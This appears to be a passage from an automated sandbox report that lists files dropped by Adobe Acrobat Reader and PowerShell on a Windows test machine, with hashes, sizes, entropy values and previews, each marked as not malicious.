SHA-256:	BB7C3DFA1F2C7C5DDD19FDC822BF0BE7BF198A9B60A3CE7DA5041B5DB843A070
SHA-512:	56AA0C3C2F89DF8546271BC2A696D619D10AEE56A706FADD229C04670830DA7853F66D564A62EA2265FAE120B950EE224F512C983DF1CA4164F3AA40A6D4CC02
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc79a26f-52f0-42ad-a2cd-16b54082519d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727118394,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.260305428865564
Encrypted:	false
SSDEEP:	6:YEQXJ2HXr/cVx+FIbRI6XVW7+0YLHeoAvJf21rPeUkwRe9:YvXKXQVUYpW7YVG+16Ukee9
MD5:	74B2973655D5E1EEAAC4D941456B528A
SHA1:	622BCD890B1700622950E06F5446CB143CBEC043
SHA-256:	99847D881ABB7CBA1729F322A9B3B5D1EEBE0B4DEEC8DBA5EF6686F2D6991D37
SHA-512:	F2DF8E0CA2F6A7357C35A858D1B28A0EF2A2B272F3283F5B4AA18737A5515B573B206374D007BD771D19DE518E1C91002F1197DE183855845443F73688A6DAFA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc79a26f-52f0-42ad-a2cd-16b54082519d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727118394,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6590097314819126
Encrypted:	false
SSDEEP:	24:Yv6XEiYmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSsq:YvsYoBgkDMUJUAh8cvM7
MD5:	E7B40879FBD9685F28066B47B036CAC8
SHA1:	BE4B8263CB71882E02156FC58A78334B1E940CD9
SHA-256:	C52D1C09A136C800B43316CDB361C2858FF26251EAD0BDFCB255A9B22762FD9C
SHA-512:	7026E8BE45C4C0DE652E01D320A1E2B6F2BE802A7CA495C0A1D7C5EE4A8535A6A580485B2C652E4790EAD13122FED069FE32442109EA962EEF822A90209DF08D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc79a26f-52f0-42ad-a2cd-16b54082519d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727118394,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.232356487171654
Encrypted:	false
SSDEEP:	6:YEQXJ2HXr/cVx+FIbRI6XVW7+0YLHeoAvJfshHHrPeUkwRe9:YvXKXQVUYpW7YVGUUUkee9
MD5:	08543C3CCA7C37BDD50760E9485B8A2A
SHA1:	5C82F38D17A14B927126201739EB640405821CA7
SHA-256:	83B448C26D9D8AAB4C88BDD8ABF0524220E714C917248CF3F9AFBFEACF19C156
SHA-512:	58689143ED1491850104E9A7C17AEB9E2F62FB790305F0E10BEDFDCD5B982D4D58208D0F619EEC38E3974E3C943797EDF6F1728E4F4924BD90C09607DA31A67A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc79a26f-52f0-42ad-a2cd-16b54082519d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727118394,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.241713695244675
Encrypted:	false
SSDEEP:	6:YEQXJ2HXr/cVx+FIbRI6XVW7+0YLHeoAvJTqgFCrPeUkwRe9:YvXKXQVUYpW7YVGTq16Ukee9
MD5:	478D43E30F58684FA6E4AABA3AE462B0
SHA1:	31AA77B2B25595018EF984C8DF03CD276961282D
SHA-256:	5D8CA2D5A134F6F0549C06ED4AB7DBDAEE51BD98F4A464F2E67C9543DFC6E837
SHA-512:	D0F28669D92C80D8ADC8B3CDCC2C95990D9466EF2A1DC0A9F45EC4AFD8CE61CEBF5E3838DA6A1F6FE19D80FC746F5470BA5599C4154C0E3D7B9E3574A7F396E9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc79a26f-52f0-42ad-a2cd-16b54082519d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727118394,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.146545663688683
Encrypted:	false
SSDEEP:	48:YZKzCSWDauI4u5yop4kmIuTunoC0XVcTvWCDapousL9SAB31:Enaulaf3GSzvjF
MD5:	DEB2CE98EE538015EFA710871B12A6CA
SHA1:	688242CD312772BFC4D6313F5B275DFE2F8B4665
SHA-256:	8E03BEB4B0499B0DB1F9F54C7DA64C46F9AE0CF0B40C40A1C42873C36DA85039
SHA-512:	F52F561F236A87FB3AAA01DED46A852C1E42FFB3BE670006819AF4C348230C138C3B341A612DDE4ADB54323EB4D00DDC7C0D307A1CC0927BB7FC1206C3F1514D
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"2ab5fb86b9de9dad9bdb9babce198c20","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736549727000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"9be8f14cc3f9c959f88b347ac773c6f1","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736549727000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"e5565aa079e7a87cdb7dca76c9b157f9","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736549727000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"526e587a3f33cbdc4a6b82a03652c0fa","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736549727000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"fcfa7c51b86545d214d76f138e33c946","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736549727000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"0668434fbd6e9c4d8966afda26629184","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9856760816124546
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpZBTn4zJwtNBwtNbRZ6bRZ4iBTnF:TVl2GL7ms6ggOVpPT4zutYtp6P9TF
MD5:	9C7E7CCBB876ECBB8F18694788498B9E
SHA1:	A0211EF88E068126D1CE64F18ED38C818EFA099F
SHA-256:	2F72F4358E0D3A873495F975868726D32D5EAE5B6DE2400A723EE2288F1F744C
SHA-512:	27087D47E36B06595B006E2BF6696C14A85FC1FA657A1F7FA6B892265B352457DECC2F0E0F539D2854DC0B679E6C8B77F10715CE97FD3744F99CA85274179BB1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3396857547226602
Encrypted:	false
SSDEEP:	24:7+tbAD1RZKHs/Ds/SpZBTnPzJwtNBwtNbRZ6bRZWf1RZKHqLBx/XYKQvGJF7urse:7MbGgOVpPTPzutYtp6PMqqll2GL7mse
MD5:	5D96635ED4E279A94ACA0B32B94899E0
SHA1:	2D593ABD076412DEABD03A7D273AEE9A6D5F0965
SHA-256:	C7CD80BB3F905C2A60EC1267C79378899E4C2CDB3F3962000145ABC09B047BA6
SHA-512:	6F99237837540B3668931B47E4E4DBE3FBE001BB72DFF3FE46878D081ED1C19EE1996BCF971EE0B85F75176366816B336F634B669D51A3E5A15D56B081C22A1F
Malicious:	false
Preview:	.... .c.....)..;......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg5typxgcD3TLzSkRLDcF8LPR2Yyu:6a6TZ44ADE5tyXFD3TLdPR2K
MD5:	5ADBA2799AEA9CB4E8F1DD79D20BB7BE
SHA1:	562A9E1BB52045F29B9A6FFED2E47DFC419D8E24
SHA-256:	D6A8FECDC1D3BA4C41E194B02F9C6B439864D8F3B3944CC449D1B95E722354D2
SHA-512:	D3D370B08E49F6B5D81D3EB1CE8D84318A031F1018BB30D2F5C1051E1F7FEB8804E359004FBA5CD2AE9E2B585D32BF9340396E9CD8094F5208848784C8DA6D6C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIc78c8.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.505069684106714
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEmBw:Qw946cPbiOxDlbYnuRK+bDmi
MD5:	FD9D09B96A35E4F79DE4C06024A6D820
SHA1:	76C0AEB4027C0DF4A8F3BE41E1C5ECB46AB10FC6
SHA-256:	9A2DC2445EB44AD53C36561C5C8899023CCC2CFD5BC9BE6A432F193C1ACC22D5
SHA-512:	56538D1B34A5A409DC10731FB54FE19264128E742821AEC7F3F60EF105782C32073FABA3B8F780576C8D6B1DE4D783CA0DD88D5EB5691DC119E065884857C425
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.5.5.:.2.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jw15fr2i.yr4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ps5boxio.5ne.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-55-23-588.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (392), with CRLF line terminators
Category:	dropped
Size (bytes):	15090
Entropy (8bit):	5.356719530873248
Encrypted:	false
SSDEEP:	384:L8m606f7M7S7RoDSo5oco+opoLv6E8xE4ESs/dDT5T9TkYAYTY6YH0WRWtWT4p5M:LfR0Ie9KSOpRYGSlxXj0FlRojQ/hwcm/
MD5:	113DB6CCAD7C522EF51BA1ADAB82750F
SHA1:	35AD70C2BA7A95182566BB831F2356F5A72F4A79
SHA-256:	449BDE8DB85AD8BEF0021F93DBD17AFB4CADCB9E4E64B97E764CB73350C63BB9
SHA-512:	444D066DC51F4AA101730F3EA3B7E7A569B90E4E7314969073E3C4C396AEA44AFFCECA487167307A6182DF6492AD28D2378250A858C1AE0E450B4B188E041AE1
Malicious:	false
Preview:	SessionID=111eab53-8eb6-4c4b-84a3-a985048c0c27.1736549723606 Timestamp=2025-01-10T17:55:23:606-0500 ThreadID=7548 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=111eab53-8eb6-4c4b-84a3-a985048c0c27.1736549723606 Timestamp=2025-01-10T17:55:23:648-0500 ThreadID=7548 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=111eab53-8eb6-4c4b-84a3-a985048c0c27.1736549723606 Timestamp=2025-01-10T17:55:23:648-0500 ThreadID=7548 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=111eab53-8eb6-4c4b-84a3-a985048c0c27.1736549723606 Timestamp=2025-01-10T17:55:23:649-0500 ThreadID=7548 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=111eab53-8eb6-4c4b-84a3-a985048c0c27.1736549723606 Timestamp=2025-01-10T17:55:23:649-0500 ThreadID=7548 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.393378928310808
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGb6:liXjv
MD5:	C6173E48481C459543C19828DDB716BB
SHA1:	C2C0BDCEE5FEB3C2E2DF03BA9D6117D8D96E13BC
SHA-256:	F599E3522B24D4D8AFFDFA765F74FB58A167F03E2A6AAC51A32A10DA9656E45E
SHA-512:	77B36BCEE315CB6D665A1CE51D34C0DAC3646C0FDD5517643414EDF30DB3B70A67EAE01FD9FE6A1EF4DD22DAAFA2431347011D2E01CE6FA701100EA2BC957F9C
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2d054492-fab9-4793-8aad-3c8193dd4c01.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\45b5ffba-e28a-4226-91c5-d412b98b101b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\748860e5-9a26-4dcb-a1d4-9e312dbd07f1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
